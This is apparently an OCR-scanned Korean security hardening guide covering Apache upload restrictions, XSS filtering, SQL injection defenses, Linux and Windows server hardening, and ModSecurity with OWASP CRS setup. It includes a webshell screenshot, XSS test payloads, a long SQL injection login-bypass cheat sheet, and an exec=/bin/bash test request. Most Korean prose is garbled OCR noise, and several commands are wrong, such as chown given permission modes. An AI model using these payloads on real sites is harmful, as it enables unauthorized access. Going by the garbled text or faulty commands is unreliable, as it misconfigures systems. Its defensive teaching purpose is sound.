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[Apache #AH - I Y2 CIHER| “Hl” At H|A]

1. Apache 83 me(/etc/httpd/conf/httpd.conf) &3
- AllowOverride X|A|Xtofl "Filelnfo" 37t

<Directory "/usr/local/apache">
AllowOverride FileInfo
</Directory>

2. 0Y A2 ClAE2|0f .htaccess Ot A 3! ofef LHE =M

N

<.htaccess>

<FilesMatch “\.(ph|inc|lib)”>
Order allow, deny

Deny from all
</FilesMatch>

AddType text/html .html .htm .php .php3 .php4 .phtml .phps .in .cgi .pl .shtml .jsp

[0l 2] 2 SHEXITL A2 EE 518st0, F=2E It
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JAVA - S1ZE|X| 942 2%} 2 E st ofA|

<%@ page import="com.oreilly.servlet.MultipartRequest” %>
<%@ page import="com.oreilly.servlet.multipart.DefaultFileRenamePolicy” %>

MultipartRequest multi

= new MultipartRequest(request,savePath,sizelLimit,”euc-kr”,new DefaultFileRenamePolicy());
String fileName = multi.getFilesystemName(“filename);

if- (fileName !=-null) {

String fileExt = FileName.substring(fileName.lastIndexOf(".”)+1).toLowerCase();

if (1”gif”.equals(fileExt) 8&& !1”jpg”.equals(fileExt) 8& !"png”.equals(fileExt)) {
alertMessage(“YZL  E7hs8h TR ALICH M),

return;

sql =  INSERT INTO board(email,r num,w date,pwd,content,re step,re num,file-
name)

+ “ values ( ?, @, sysdate(), ?, 2, 2, 2, ? )

PreparedStatement pstmt = con.prepareStatement(sql);
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[ Sec. Info ] [ Files ]

I File manager

B Name
Bi.]

Make dir:

Execute:

WHESTLV2  doim= o=,

o=

-
2
(_')
gl
Im
>
m

More info @

ColdEEHS

[ Console ]

[ WWW )

oit-db.com] |Windows-1251 j

Server IP:

[ phpinfo ] Datetime: : 7 127.0.0.1

X [home ]

[Sql]

More info @

Client IP:

[Php] [String tools [ Bruteforce ]

Owner/Group

-TW-T—-T—
-TW-T—T—
-TW-T—T—

Read file:

Make file:

=Rt i~ ®» KISA

@ Home - AHEHEH

WIN-THS0508PVFD

WIN-THSO0508PVFD @
EET

DESKTOP-0l6LS2P

DESKTOP-0IGLSOP @

WIN-THS0508PVFD

WIN-THS0508PVFD @
exzol

KISA-EML-TRAP

KISA-EML-TRAP @
=T

WIN-THS0508PVFD

WIN-THS0SO8PVED @
EET

WIN-THS0508PVFD

WIN-THS0SO8PVFD @
EECT

DESKTOP-0I6LS9P

DESKTOP-DIELSOP @

WIN-THS0508PVFD

WIN-THS0S08PVFD ¢
esagl
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Posting

[opg 23]

AR =

H XSS(Cross Site Scripting)2 SH0|X| M&Xte| Hot HEE EFSIHLE 24T
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Request
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Response
[ ASFE 23]

A&t

[J2 9] IZA AJO|E ATRIE 2

[ZITH A|A|ZH]| <script> </script> EH 1 2

=20 ASRE Ay

L. AIA R

<script> alert() </script>

<script>alert()</script>
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[Gil% 1] OWASP S SAI2 QU= Thu|of| A H|ZFet XSS HE| 2t0|=2{2| S AFSsH XSSS ol 4= QICt.
- OWASP : Enterprise Security API(ESAPI)
- 1|0[H © Lucyxss filter
- Microsoft : Anti-Cross Site Scripting Library(Anti-XSS Library)

« XSS S HOIZ230|M AT TYS 9Bt QEAA Efo|22

- =X 7El Red A SO VIsE VIEHRE HIE

ESAPI

Lucyxss filter

Anti-XSS Library |+ .NET framework 7|t 2}0[E2{2]
(HtmlSanitizer) | « Ix{ 4.5 FDFK| SA|

[E 2] XSS 2hof 2to|Ezi2|
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40

QIEHl AAZ22](IE), 2Z(Chrome), AtI2|2t 22

I

[0l 2] X-XSS-Protection & SIS Edl H2t2 0| M HBdt= XSS B M2 AEg 4= QIO

X-XSS-Protection S¥g} 8| MH

[] Apache &3 mt(/etc/httpd/conf/httpd.conf) &= F7}

Header set X-XSS-Protection "1; mode=block"

[J Nginx &3 m2(/usr/local/nginx/conf/nginx.conf) &&= 37t

add_header X-XSS-Protection "1; mode=block";

LIS 8& 3llH 23

Name:
X-XS5-Protection

Value:

1: mode=block

QK Cancel

LR KO A AFR2XL HSE 28 XSS KHCt

X-XSS-Protection S ol B2 L& XSS A0 ThH| & 4= AL, ZEXQI ZX| 2HH2 OfL|C}.
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[oflek 3] <>& " 52 &lt; &gt; &amp; &quot; 2 K|St

C# - EX1E X[ oflAl

public void Execute()

{

String userid = Request.QueryString[“ID"”];
if (userid != null && !””.Equals(userid))

{
‘userid =-userid.Replace(*<”, “&1t;™);
‘userid = userid.Replace(“>”, “&gt;”);
‘userid = userid.Replace(“&”, “%amp;”); |
‘userid = userid.Replace(*””, “&ftquot;”); |
‘userid =-userid.Replace(“’”, “&#x27;");

-userid-=-userid.Replace(“/”, “&ix2F;”);
¥

String query = “Select * From Products Where ProductID = “ + usrinput;
Request.Write(query);

}

¥ KISA AT EQ|0] JHZ 2ot 70| = &1

SQL QIEIMS OWASP |0l A S HESH= #l FoFK Hot (3 H 1M (OWASP TOP 10)01| EHAF AQ|S
X|QFXO|CE CHE ZA SO HIs H|m A £l1 DFEol 2A dieo|X| o msf| 7|ol|A| 2
O

—
LS e & U= XFHL SH0|7| = it

AT, 21#7HY &, URL S AHEX /30| Jhset 218 Sdff BX et 42 4 Yoto] DB A2 E
g{ H

LiALE 2301 Bxt 22| S H

[/users/user[username/text() = ‘user’ and passwd/text() = ‘password’]

N\ ( N\
ID | admin + AI%II- 272! O]
Password @00000000 ~
.. Admin »
ERY \ \ /
P “or 1=1 or ‘a’ = ‘a’ AN y

//users/user[username/text() = ‘admin’ and passwd/text() = “or 1=1 or ‘a’ = ‘a’]

A 2ot 2} otiM 19



SQL

ofolc]

H¥H=

L 2321 23] 2| of|Al

root' --

root' #

root'/*

root' or '1'="1
root' or '1'="1"--
root' or '1'="1"#
root' or '1'="1'/*
root'or 1=1 or "'='
root' or 1=1
root' or 1=1--
root' or 1=1#
root' or 1=1/*
root') or ('1'="1

)
)
)
root')
)
)
)

root')

"or1=1/*

1234" AND 1=0 UNION ALL SELECT 'root’,'81dc9bdb52d04dc20036dbd8313ed055

root" --

root" #

root"/*

root" or "1"="1

root" or "1"="1"--

root” or "1"="1"#

root” or "1'="1"/*

root" or 1=1 or ""="

root" or 1=1

root" or 1=1--

root" or 1=1#

root" or 1=1/*

root") or ("

root")
)
)

e
~

e e

root") or "1"="1

root") or "1"="1"~

root") or "1"="1"#

root™) or "1"="1"/*

1234" AND 1=0 UNION ALL SELECT "root", "81dc9bdb52d04dc20036dbd8313ed055admin’ -
admin' #

admin'/*

admin' or '1'="1
admin' or '1'="1"--
admin' or '1'="1'#
admin' or '1'="1'/*
admin'or 1=1 or "=
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*

admin') or ('1'="1
admin') or ('1'="1"--
admin') or ('1'="1'#
admin') or ('1'="1'/*
admin') or '1'="1
admin') or '1'="1"--
admin') or '1'="1'#

admin') or '1'="1'/*
1234" AND 1=0 UNION ALL SELECT ‘admin’, '81dc9bdb52d04dc20036dbd8313ed055

admin" --

admin" #

admin"/*

admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*

1234" AND 1=0 UNION ALL SELECT "admin", "81dc3bdb52d04dc20036dbd8313ed055

SQL Injection Login Bypass Cheat Sheet &1

A Hot 23} otLiM
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[0l 1] S+27t 2121 A] 22 K2 4 U= HF 2 37

‘ SxtHlole] 12 7|%
; e 1 7|s
— # sitatol =M pE IS
[ /* 9 */ AfO] T2 =4

[0} 2] AFRXIZEE] Q2 uhe Zho| SQL &4 IXIZ XH MYE|X| Y= Ti2t|Efste HalS
AL 3104 H2|BHt,

C# - EX1E X[ oflAl

public void ButtonClick(object sender, EventArgs e)
{
string connect = “MyConnString”;
string userid = Request[“userid”];
| string query = “SELECT * FROM user WHERE id = @userid”;

using (var conn = new SqlConnection(connect))
{

using (var cmd = new SqlCommand(query, conn))
{

cmd.Parameters.Add(“@userid”, SqlDbType.VarChar, 10);
cmd.Parameters[“@userid”].Value = userid;
conn.Open();

cmd.ExecuteReader();

% KISA 2T EQ0] JHEE O 710 FHn

[0 3] 24T

- = QLM EH1
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SHO|X| ool £F SH2 dAMtel oS EFote HEof 483dt= Aot IHA=
detdoz ZH0[X|2| F|AHS Sdll FMHo| oK 2 @AM HRE 2ot 28 39| F|HHS

o|=2sf s | = s},

= YoM AlE 2, of Aot 22|, MH|A 22 S M7HK] ZHO|M SHHE A 2ot 84
YES St
Al

H = HAES A, HARIE Bk, AIY T2 S S6l SAX A Mol H2okK| Zot==
S

Linux - A/ 22|

[ root AI™ 1A X< w|st

@ “/etc/securetty” TFUO M pts/0 ~ ptx/x AH FH F&=, FMK2
@ “letc/pam.d/login” Tt £8 =, M &

(s~ H) #auth requried /lib/security/pam_securetty.so

(2™ =) auth requried /lib/security/pam_securetty.so

[ 2391 Moj ‘.’:MI%I 4%
@ vi HE7|E 0|83t0 “/etc/pam.d/system-auth” T+ 7|
@ otzfiet 20| H EE A e

auth required /lib/security/pam_tally.so deny=5 unlock_time=120 no_magic_root
account requried /lib/security/pam_tally.so no_magic_root reset

(JIjAIE D HS

@ # pwconv
@ # pwunconv

(] IAQIE BYE 4
O IHARIE S7 A3 o 2ol
# [etc/pam.d/system-auth, /etc/login.defs LIS LHE Aol X == HE
@ /etc/pam.d/system-auth It A

¢ CHS 2olol HAYIS HatS st
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password requisite /lib/security/$ISA/pam_cracklib.so retry=3 minlen=8 lcredit=-1 ucredit=-1
dcredit:OI ocredit=-1

X Zh L0 CHot MY [ 2 SHE0)|M -1 ZE2 BHEA| SiESts 2XIE ZEA|HOF &
lcredlt =-1 (A2} A2 1%} 0|4 2F)
ucredit = -1 (CH2A} &2 1%t 0|4 )
deredit =-1 (|4 2Xt 1X} 0|4 @)
ocredit =-1 (|2 E42X} 1Xt 0|4 )
minlen = 8 (%4 A Q|E Zo| HH)
retry =3 (3 I{AQIE THUE Tt5)
difok =N (7|= 1A Ee} H| 1, 7|27}t 10(50%))

® /etc/login.defs Tt HH
pass_warn_age = 7 (A= 7|7t otz ZF 1)
pass_max_days = 60 (%|Ci 1A= AL 7|7H M H)

pass_min_day = 1 (2|4 IjA Q= HZ 7|7t MH)

Windows - A& 22|
] Administrator 0|Z H}327|

D AZp> T2 02> RofE> B2 > 22 Hot Mt 22 Hit> Hot 8 M
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Linux - O} gt 2ta|

O F ot AQXL 9 Ast

@ "/etc/passwd" TtEQ| 2K} 8 Mot HA(LFX} root, Het 644)
#chown root /etc/passwd
#chown 644 /etc/passwd

@ "/etc/shadow" TS| ARXt 5! Hst HA(L R root, H3H 400)
#chown root /etc/shadow
#chown 400 /etc/shadow

® "/etc/hosts" TS| ARXt & Mot HA (LR root, #3t 600)
#chown root /etc/hosts
#chown 600 /etc/hosts

@ "[etc/services" IUQ| AQXt 4! At HA (LR root, HEt 644)
#chown root /etc/services
#chown 644 /etc/services

® "/etc/rsyslog" TS| ARXt ! Mot HA (LR root, M3t 644)
#chown root /etc/rsyslog.conf
#chown 644 /etc/rsyslog.conf

® "/etc/xinetd.conf" Mo AQX} I Het HA (AKX root, H$H 600)
#chown root /etc/xinetd.conf
#chown 600 /etc/xinetd.conf

[0 &gt SUID, SGID I H|AH
@ sticky bit7t Z2{U= DA S EH
#find / -user root -type f \( -perm -04000 -0 -perm -02000 \) -xdev -exec s -al {} \;
@ =Zast mdof sl sticky bit XA
#chmod -s <ItAH>
¥ ofzfle] MAUS sticky bitE H7{sHof StCt.

/sbin/dump [usr/bin/lpg-lpd [usr/bin/newgrp /sbin/restore
/usr/bin/lpr /usr/sbin/lpc /sbin/unix_chkpwd /usr/bin/lpr-lpd
/usr/sbin/lpc-lpd /usr/bin/at /usr/bin/lprm /usr/shin/traceroute
/usr/bin/lpq /usr/bin/lprm-lpd

[Jroot 71|’“°I PATH EtZAHL AN

@ vi HE7|E 0|23t0 root AHo| MHIY (~/.profilezt /etc/profile) €7
# vi /etc/proflle
@ ofzfe} Zto| &:
(% M) PATH=..$PATH:$HOME/bin
(% %) PATH—SPATH'SHOME/bin:.
%zt mU2 OS EHE 7 CHE £ JUS

AN
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(Windows 2000, 2003, 2008, 2012)
@ Al AMdli> FSMGMT.MSC> 28

&EH o [m] B4
DR SEA 2I0Y) ESR(H)
e [ 2EEdE=H=
@ ZR SOEZ) FEE R Z5 EETEEEEE R |
maR i ADMING - Cieindows Windows 1] HE 2
wl M aCl Cow Windows 0 72 =8
Al 22 I gaD$ Dt indows 1] JE B2
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Eli = £ gaT0=G):
< 3
3 52, tdministrators (KISA-EML-TRAPY Administrators)
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(Windows NT)

® Z2 03> | => M 22| x> HF

F HMA

B> 29 Ol

ClAEz>2e

ABEQ 2IY
& T E

0 MAINNT

AL BT R - UM SWINNT

M0 EEWH
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WWVM-WINNTZ] E7 CI= EclD):

|EJ D% DA i

=7l
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£ mioses
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Lwilozec
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25 220

E&WUH

@“HKLM\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters\

AutoShareWks” BIX|AEZ| ZtS 09 £XEH(F] 2ho|

(Windows 2000, 2003, 2008, 2012)

D A|Zt> AlgH> FSMGMT.MSC> 289> 7|2 29 M

o

o= o
HAZE 704‘!‘

e> 0t A

MZ MMst)

=
=
i
2 me

mﬁiﬂlﬂ

e
&
Al

e ADMIN$ C lindows

Wlndnws

W dnws
2 : Windows
T mE ek » e
ME DE(F)
= A (R)
CEE(H)

OIZF) EZHA) 2IIY) ZEZHH)
L A R EREEN o
w25 EOED) Z2. - |E0==2 ) [SCHIZE 62 £+ [ &%

; EEEE

|E zo

= =TT

#HE IPC
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AutoShareServer” B|X|AEZ| IS
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MH|A E2|= FTP, SSH, Apache S Z2E 2ot MY OZ v & 4 Ql= H|QITIXIO| §1F M4,
HE & SS Motols WS SH Q= ottt
Linux(xinetd 7|ZE) - AMH|A 22|
[J Apache £9F 84X
<@MH Mot 4F>
@ vi HEI|E o|&3t0] /[Apache_home]/conf/httpd.conf HAS H =
#vi /[Apache_home]/conf/httpd.conf
@ User & Group root 220 root7t Ofl Hx HHOZ HE
<ClAE2| 2[AE HAH>
® vi M 7| E 0|838t0{ /[Apache_home]/conf/httpd.conf LS H =
#vi /[Apache_home]/conf/httpd.conf
@ H¥E ZE C™E2(9] 4 X[AIXtO| A Indexes H|A
=3 sy =z
<Directory /> <Directory />
Options tdexes FollowSymLinks Options FollowSymLinks
AllowOverride None AllowOverride None
Order allow, deny Order allow, deny
Allow from all Allow from all
</Directory> </Directory>
<gl=22 g3 HA>
@ vi HEI|E o|&3t0] /[Apache_home]/conf/httpd.conf THAS H =
#vi /[Apache_home]/conf/httpd.conf
@ H¥E 2E Cj™Ez2[9] M X|AX| M FollowSymlinks X7
=3 +H =
<Directory /> <Directory />
Options Indexes FellowSymLinks Options Indexes
AllowOverride None AllowOverride None
Order allow, deny Order allow, deny
Allow from all Allow from all
</Directory> </Directory>
<o HYEE I COHREE Aot
@ vi HEJ|E 0o|23t0] /[Apache_home]/conf/httpd.conf IYAS A =
#vi /[Apache_home]/conf/httpd.conf
@ MFE 2= C|AE2]9| LimiRequestBody XIAIXtO| M 22F H|$t M
<Directory />
LimitRequestBody 5000000 3 ZE It AIO|=E S5ME H|$tet= A
</Directory>
HAMH Hot 23} oHHM 30



O] FofsHEs ERSH MHA FX]
<finger MH|A H|2d3}>
- "etc/xinetd.d/finger" T+ M (disable = yes)

service finger

{

socket_type = stream

wait = no

user = nobody

server = /usr/sbin/in.fingerd
disable = yes

}

<Al MH|A H|gYo}>
- "etc/xinetd.d/" CIZE2|0| A rlogin, rsh, rexec I} HH(disable = yes)

# /etc/xinetd.d/rlogin T+
# /etc/xinetd.d/rsh It
# /etc/xinetd.d/rexec It

service rlogin

{

socket_type = stream

wait = no

user = nobody
log_on_success += USERID
log_on_failure += USERID
server = /usr/sbin/in.fingerd
disable = yes

A Hot 23} oM
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<DoS S| F| Pt M| A H|E M3}
- "etc/xinetd.d/" CIZE2|0| M echo, discard, daytime, chargen It M (disable = yes)

# [etc/xinetd.d/echo It

# [etc/xinetd.d/discard o+
# /etc/xinetd.d/daytime ot
# /etc/xinetd.d/chargen I+
service echo

{

disable = yes

id = echo-stream

type = INTERNAL

wait = no
socket_type = stream
}

<RPC H|EM3}>
- "etc/xinetd.d/" CIHE2|0| M RPC MH|A(rpc.cmsd S) I M A (disable = yes)

rpc.cmsd, rpc.ttdbserverd, sadmind, rusersd, walld, sprayd, rstatd, rpc.nisd, rexd,
rpc.pcnfsd, rpc.statd, rpc.ypupdated, rpc.rquotad, kems_server, cachefsd

<Anonymous FTP H|&Na}>
- “/etc/passwd” AN A ftp EE= anonymous A& AHH|
#userdel ftp

<tftp, talk, ntalk H| &N 3}>
- "etc/xinetd.d/" CIZE2|0| A tftp, talk, ntalk Tt MH(disable = yes)

# [etc/xinetd.d/tftp T+

# /etc/xinetd.d/talk T+

# [etc/xinetd.d/ntalk ot
service tftp

{

socket_type = dgram
protocol = udp

wait = yes

user = root

server = /usr/sbin/in.tftpd
server_args = -s /tftpboot
disable = yes

A Hot 23} oM



Windows - A{H|A zi2|

s =Hot 4
<t EE| 2| A HAH>
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(Windows NT, 2000, 2003)
@ AIE > A8 > SERVICES.MSC > IISADMIN > £ > [HHEHO| A MH|A K|
2 %systemroot%)\system32\inetsrv\MetaBase.xml I} S Afop WE V|2 E7|
(3 AspMaxRequestEntityAllowed 7tS &0t I A== S 2|4 HZ Kot
@ AspBufferingLimit 2{2 &0t I} CIR2E 23 2|2 HIZ H$t
® AlE > Mg > SERVICES.MSC > ISADMIN > &4 > [LHHEHO| M MH|A A=

x| Qi 210, e 20y 30 A0 ey 80
| EEEIEI =W =] I 662 P.spﬁ.l10u5e5310n5tate="TRUE"
- & 663 AspAppServiceFlags="0"
2 g C: 664 AspBufferingLimit="4194304"
* : I_.l_E_frU_"TR'UT'_I
=49 D 665 SpBu e:f:mg =
b ™ 666 AspCalcLineNuwber="TRUE"
@SR PP AT 667 AspCodepage="0"
668 AspDiskTemplateCacheDirectory="swvindirsisystem3z}
669 AspEnableldpplicationRestart="TRUE"
&70 AspEnableispHtmlFallback="FALSE"
671 AspEnableChunkedEncoding="TRUE"™
672 AspEnableParentPaths="FALSE"
673 AspEnableTypelibCache="TRUE"
674 AspErrorsToNTLog="FALSE"
675 AspExceptionCatchEnable="TRUE"
676 AspExecuteInNTA="0"
&77 AspKeepSessionlIDSecure="0"
678 AspLCID="z048"
£72 AspLogErrorReguests="TRUE"
&80 AspHaxDiskTemplateCacheFiles="2000"
681 AspHaxRecuestEntitylAllowed="zZ04500" |
682 spFrocessor Threadlax=":25

(Windows 2008)
@ @ RE | E2[0f A= web.config off Of2f &= =IHBUS Al MZ 44)
x 2EX 82F130,000,000 byte (30MB)

<configuration>

<system.webServer>

<security>

<requestFiltering>

<requestLimits maxAllowedContentLength="" ZEH X g2 />
</requestFiltering>

</security>

</system.webServer>

</configuration>

2 %systemroot%)\system32\inetsrv\config\applicationHost.config It LK Of2H &5 F7}
% DY CHREE 82 : 4,194,304 byte (4MB) , T} 2 82F 200,000 byte

<system.webServer>

<asp>

<limits bufferingLimit="4194304" maxRequestEntityAllowed="200000 "/>
</asp>

</system.webServer>
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(ModSecurity)2t #ILI0|E(WebKnight) 7t QUCL.

o

N E etHols REAMREE|

M| WEB Apache, IS & IN

=

5t : . .

= 0S Windows, Linux & Windows
- P £ A HH HS P St A3
=° P OWASP 22 Z X2 (F Al A 22)

[E 5] 37 & et H|w

DEAFEIEl= OWASP(MIAXQ! 4 Eot {ELIE]) ol 22 EFX| £(CRS)S M3dtH 0|2 S
OWASP TOP 10 ¥|2Mg Zeish ¢ oljZ 2HOZHE SH|0|X|(FMH) 257t 74sotct.,

HLIOIE= Bt ol EE{(ISAPI) A2 S&, AMHE S0{2= 2= 2 @F0f sl Ao

o
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#M1 ModSecurityE 8%t Apache HAH Hot 23}

1. ModSecurity 2.x AX|

AR ZM A 71E ModSecurity@] Z|AHT2 3.0.0HTI0|C d2{Lt 2 HLiM=2.9.1470]
OFx{ A4

PHH - ZHO| A £[Z{oHe|of QITHD LTSI §

1.1 CentOS 7| Z0f|A MX]

o 2FHXl . CentOS 6.5

e 74 ! Linux 2.6.32-431.el6.x86_64

o A AMH : Apache 2.2.15

e ModSecurity 2AFE C|AE2| . /usr/local/src/modsecurity-2.9.1
o OtIpX| AAMXK| Cl2E 2| © /usr/local/apache2

o OFItX| FAMH Z ClAE2] I /var/www/html

ModSecurityS F&HMOZ AX[517| lohM B2 HRdt 2to|E2{2(7t QICt Hax 2lo|EE2|ES

D5 M| 8t 5 ModSecurity MX|S ZIsislo} MAXMOR Mx|E etg st 4 QIC},

L= 2t0|E22|S2 tHEE ApacheZt HX|E[0] QCHH XSO E HX|&|= 2t0|HE2| S UX|TH
0|4 2to|E2[S2 F7t2 HXSH0F otCt. 0 2/0f Coj| 2t wgetdt gitg Ax|sH

5010} of2H i+ &L= 10| 7HSSILt.

-

At
Ct

=0
S
o
—

g2

o
E

1) Y=~ 2tol=eq2] MX|
- T2 2to|E242| | httpd-devel, libxml2, liblua, libpcre, arp, gec, libcurl
2| 2t0|E2{2[S2 yumE S3lf ZHEHSHA| (7t 7SSttt
# yum install libxml2 lua pcre pcre-devel apr* gec* libxml* curl curl-devel httpd-devel
2) ModSecurity 2= A%
- AX[S} 10Xt Sh= ModSecurity 2.9.1 HH CHREE A2 = Of2Qt 2T},
https.//www.modsecurity.org/tarball/2.9.1/modsecurity-2.9.1.tar.gz
- ModSecurity o2 H{7 2| CHR2E0] T = Of2f URLSE £1st| B2,
http://www.modsecurity.org/download.html
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Hio|L{2| mtYS oS¢ LK

# cd /etc/httpd/

# yum install mod_security

% Error: Nothing to do 2t= Ofl2{7 LI2CHH MEAE MX|
yum install epel-release

# service httpd restart 8X| £ httpdE M A|=HBLCE

rot
4ot
[al
o
ot
rg
l
_ITI_

% XS | YH2 3),4), 5) HAIS 42kt OWASP CRS E MX|RE] T

\%

A
<53 82X Y

2ATCE 0|28 HX|

[root@localhost srcl# wget https://www. modsecurity org/tarball/Z 9.1/modsecurity-2.9.1 tar.gz
--2018-03-23 11:30:45-- https://www. modsecurity org/tarball/Z 9.1 /modsecurity-2_.9.1 tar gz
Resolving www.modsecurity.org... 204.13.200.240

Connecting to www.modsecurity.org|204.13.200.240/|:443. .. connected.

HTTPF request sent, awaiting response. . 200 QK

Length: 4261212 (4.1M) [application/=-gzip]

Saving to: ‘modsecurity-2.9.1 tar gz’

100%[====== - ===2] 4261,212 131M/s in 3.1e
2018-03-23 11:30:49 (1.31 MB/s) - ‘modsecurity-2.9.1 tar gz’ saved [4261212/4261212]

[roct@localhost srcl#

# cd /usr/local/src/

# yum install wget

# wget https.//www.modsecurity.org/tarball/2.9.1/modsecurity-2.9.1.tar.gz
# tar zxvf modsecurity-2.9.1.tar.gz

# c¢d modsecurity-2.9.1.tar.gz

# ./configure

# make

# make install
% configureAl LF7H Y 22 LIS &It sl 2to|E2{2|E CiA| A X[ Z=11 CHA| configure®tLt.

3) mod_security2.s0 A4 =0l
- AX[7t HAH o= ELHH Of2f 2/X|0i| mod_security2.so7t - EICY.
# s -al /etc/httpd/modules/mod_security2.so
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4) EMHE ™ AN FH|
- mod_security2.so #ot HH

# chmod 755 /etc/httpd/modules/mod_security2.so

- Hitpd ¢1=2 ot &F oHY =At
# cp -aR /usr/local/src/modsecurity-2.9.1/modsecurity.conf-recommended /etc/httpd/
conf.d/mod_security.conf < S MH Il =4}

# cp /usr/local/src/modsecurity-2.9.1/unicode.mapping /etc/httpd/conf.d/

5) httpd.conf H&

- ModSecurityS 2F5t7| 2/6t04 0|2 httpd.confoi] & A|H0} SiC}.

[etc/httpd/conf/httpd.conf £

# ErrorLog logs/dummy-hostexample.com-error_log
# CustomLog logs/dummy-host.example.com-access_log common
#<NirtualHost>

LoadModule security2_module modules/mod_security2.so

# vi /etc/httpd/conf/httpd.conf
LoadModule security2_module modules/mod_security2.so
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1.2 Ubuntu AZ0j|A] Ax%]

SN : Ubuntu 16.04 LTS

74 | Linux 4.4.0-127-generic

HMH : Apache 2.4.18

ModSecurity 223 E C|AE2| : /etc/modsecurity
otmx| AAMX| CI=E{2| | /etc/apache2

1) ModSecurity 2& x|
apt-get2 0| 2%t MX|

rooti@ubuntui~# apt—get install libapache?—-modsecurity

[ R )
L
i -
i
af
rlr
1

g
modsecurity-crs (2.2.8-1) E&sl= &
root@ubuntu~#

# apt-get install libapache2-modsecurity

ModSecurity x| &9l

root@ubuntu:fusr/local/src# apachectl -M | grep security

AHOO558: apache?: Could not religbly detsrming the server's fully gualified domain namsa, using
127.0.1.1. Set the "ServerMame' directive globally to suppress this message

securtyZ_module (shared)

root@ubuniu:fusr/localfsrc#

# apachectl -M | grep security

- He 2R Al 912k 22 HAXIS gele = QU

2) EM oY M
# mv /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/mod_security.conf
# vi [etc/modsecurity/mod_security.conf
SecRuleEngine on <sigztel £

# systemctl restart apache2 < A{H|A R{A|Zf

secRuleEngine on
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2. OWASP CRS & 24|

ModSecurity= 42 E(Commercial Rules from Trustwave SpiderLabs)zt 22 S(OWASP CRS)

= 7kx| B{Fo| Uk,

OWASPE= Z|ate| ¢ o{Z2|A|0|M Eots HZ5t7| /81 ModSecurity Core Rule Set(CRS) Z2HES

XI5t IO, OWASP TOP 102 Ztst 223t 2AIS X2t QICk.

2.1 CentOS AIZ0|A| x|
1) Git 2o|=2{2] %]
HX|&Z0)| Bh= git 2f0|E2{2|2 A XS
Git Ax|

# yum install git < &X|2tZ0l CentOS2! B2

2) BACREE
EAI2 ModSecurity 341 AO|E(http://modsecurity.org/crs) 0l A ®MSsHZLt.

Git Clone2 0|23t 24l 2 A} (path=/usr/local/src/modsecurity-2.9.1)

[root@localhost modsecurity-2.9.1]# git clone https://github.com/SpiderLabs/owasp-modsecurity-crs.git
Initialized empty Git repository in fusr/local/src/modsecurity-2.9.1/owasp-modsecurity-crs/.git/

remote: Counting objects: 6630, done.

remote; Compressing ohjects: 100% (23/23), done.

remote: Total 6690 (delta 13), reused 21 (delta 12), pack-reused 6655

Receiving objects: 100% (6690/6690), 2.33 MIB | 820 KiB/s, done.

Resolving deltas: 100% (4728/4728), done.

[root@localhost modsecurity-2.9.1]# |l

# cd /etc/httpd/
# git clone https://github.com/SpiderLabs/owasp-modsecurity-crs.git

3) OWASP 24!l I M
# cd /etc/httpd/owasp-modsecurity-crs
# cp crs-setup.conf.example crs-setup.conf

A Hot 23} oM
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4) EMI MEE 2I3t hitpd.conf +F
# echo Include owasp-modsecurity-crs/crs-setup.conf >> /etc/httpd/conf/httpd.conf
# echo Include owasp-modsecurity-crs/rules/*.conf >> /etc/httpd/conf/httpd.conf

[etc/httpd/conf/http.conf LIS +H

Include owasp-modsecurity-crs/crs-setup.conf
Include owasp-modsecurity-crs/rules/*.conf

5) AX| 2E S HAE
# sudo tail -f /var/log/httpd/error_log < Z7 ZL|EZ

http://localhost/index.html?exec=/bin/bash/ < E2}2X0]| 34 & A
X HEtRX0M 34 122 YU=IoHH of2let 20| 215 ol 4= QUCh

[var/log/httpd/error_log 27 Etol

ModSecurity: Access denied with code 403 (phase 2). String match “test” at ARGS:testparam.
[file “/etc/apache2/sites-enabled/000-default.conf’] [line “24”] [id “1234”] [msg

“Our test rule has triggered”] [hostname “localhost”] [uri “/index.html”] [unique_id
“WfnEd38AAAEAAENQYBAAAAAB”]

2.2 Ubuntu AIE0{|A X

1) Git EFOIEHEI 2K
X2l St= git 2to|22{2|S 2X[eiC.

—

mx

Git AxX|

# apt-get install git < &AX&Z0| Ubuntug! 22

2) BMLOREE
EMI2 ModSecurity 241 AFO|E (http://modsecurity.org/crs)lA] &S sHZCL,

A Hot 23} oM
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Git Clone2 0|23t 4l EAl (path=/usr/local/src/modsecurity-2.9.1)

[root@localhost modsecurity-2.9.11# git clone https://github.com/SpiderLabs/owasp- modsecurity-crs.git
Initialized empty Git repository in fusr/local/src/modsecurity-2.9.1/owasp-modsecurity-crs/.git/

remote: Counting objects: 6690, done.

remote; Compressing objects: 1009 (23/23), done.

remote: Total 6690 (delta 13), reused 21 (delta 12), pack-reused 6655

Receiving objects: 100% (6690/6690), 2.33 MIB | 820 KiB/s, done.

Resolving deltas: 100% (4728/4728), done.

[root@localhost modsecurity-2.9.1]# |l

# git clone https.//github.com/SpiderLabs/owasp-modsecurity-crs.git

3) OWASP =P ]I|.o| A—lI-l
# cd owasp-modsecurity-crs
# mv crs-setup.conf.example /etc/modsecurity/crs-setup.conf
# mv rules/ /etc/modsecurity/

4) EM M8 2[¢t security2.conf 3
#vi [etc/ apache2/ mods-available/security2.conf
# systemctl restart apache2  <LHE % = AMH|A THA|Z

[etc/apache2/mods-available/security2.conf L{E £+

<IfModule security2_module>
SecDataDir /var/cache/modsecurity
IncludeOptional /etc/modsecurity/*.conf
Include /etc/modsecurity/rules/*.conf
</IfModule>

5) &K &2 F HAE
# sudo tail -f /var/log/apache2/error.log < 271 ZL|EE

http://localhost/index.html?exec=/bin/bash/ < E2tX0| 22 712 A
% HEIRKUM 34 122 Y=iolH oot 20| 25 2olgt 4 UL},
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[var/log/apache2/error.log 21 &9l

ModSecurity: Access denied with code 403 (phase 2). String match “test” at ARGS:testparam.

[file “/etc/apache2/sites-enabled/000-default.conf’] [line “24”] [id “1234”] [msg
“Our test rule has triggered”] [hostname “localhost”] [uri “/index.html”] [unique_id
“WfnEd38AAAEAAENQYBAAAAAB”]

2.3 ModSecurity.conf &8 2! (/etc/httpd/conf/modsecurity.conf)

